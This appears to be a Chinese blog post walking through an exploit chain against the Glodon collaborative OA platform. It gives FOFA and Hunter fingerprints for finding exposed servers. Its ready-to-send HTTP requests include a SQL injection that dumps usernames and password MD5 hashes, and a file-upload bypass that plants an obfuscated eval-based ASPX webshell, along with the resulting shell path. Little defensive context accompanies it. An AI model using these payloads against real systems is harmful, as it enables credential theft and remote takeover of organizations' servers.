最近看到广联达OA的前端sql注入和后端文件上传漏洞联动的poc
广联达科技股份有限公司以建设工程领域专业应用为核心基础支撑,提供一百余款基于“端+云+大数据”产品/服务,提供产业大数据、产业新金融等增值服务的数字建筑平台服务商。
广联达协同办公管理平台其实之前听得比较少,查了下公司资料,怪不得都是建工类的公司在用
鹰图:web.body=“/Services/Identification/Server/”
fofa :“/Services/Identification/Server/“或者fid=”/yV4r5PdARKT4jaqLjJYqw==”
下面先来看一下poc
POST /Webservice/IM/Config/ConfigService.asmx/GetIMDictionary HTTP/1.1
Host: xxx.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://xxx.com:8888/Services/Identification/Server/Incompatible.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
dasdas=&key=1' UNION ALL SELECT top 1812 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --
根据这个poc可以看到,漏洞存在的路径为/Webservice/IM/Config/ConfigService.asmx/GetIMDictionary,先来看看这个地址上面有什么
基本上就是报错提示缺少参数值,那么注入点应该就是这里了
可以看到poc的正文为
dasdas=&key=1' UNION ALL SELECT top 1812 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --
查询key值通过'
就绕过了,执行后面的sql语句
这个查询语句是一个SQL语句,它的作用是从"T_ORG_USER"表中选择前1812行数据,并返回一个结果集。
具体来说,这个查询语句使用了UNION
ALL操作符来合并两个SELECT语句的结果集。第一个SELECT语句是固定的,它返回一个名为"dasdas"的列,并且该列的值为"&key=1’"。第二个SELECT语句使用了TOP
1812来限制结果集的行数,然后使用CONCAT函数将"F_CODE"和"F_PWD_MD5"两个字段的值连接起来作为结果集中的一列。总结起来,这个查询语句的目的是从"T_ORG_USER"表中获取前1812行数据,并返回一个包含"dasdas"列和连接后的"F_CODE:F_PWD_MD5"列的结果集。
那么来看一下会有什么响应吧
可以看到在result的value里面,会将用户名和密码的md5值通过:
连接回显出来
可以去解md5的平台将管理员的密码解出来,当然不是白解的
登陆进来后是下图
同样先上poc
POST /gtp/im/services/group/msgbroadcastuploadfile.aspx HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
Cookie: 登录后的cookie
------WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; filename="1.aspx";filename="1.jpg"
Content-Type: application/text
<%@ Page Language="Jscript" Debug=true%>
<%
var FRWT='XeKBdPAOslypgVhLxcIUNFmStvYbnJGuwEarqkifjTHZQzCoRMWD';
var GFMA=Request.Form("qmq1");
var ONOQ=FRWT(19) + FRWT(20) + FRWT(8) + FRWT(6) + FRWT(21) + FRWT(1);
eval(GFMA, ONOQ);
%>
------WebKitFormBoundaryFfJZ4PlAZBixjELj--
首先找一下漏洞位置,可以看到是一个附件上传的地方,并且会返回result,应该会返回地址
来看一下poc会响应什么
可以看到上传后的文件名为0fc5eab1-03f0-4249-882d-7533247532b0-123.aspx
那么这个文件上传到的地址为哪里?
在/GTP/IM/Services/Group/Upload/0fc5eab1-03f0-4249-882d-7533247532b0-123.aspx
注意上传webshell的时候要传aspx马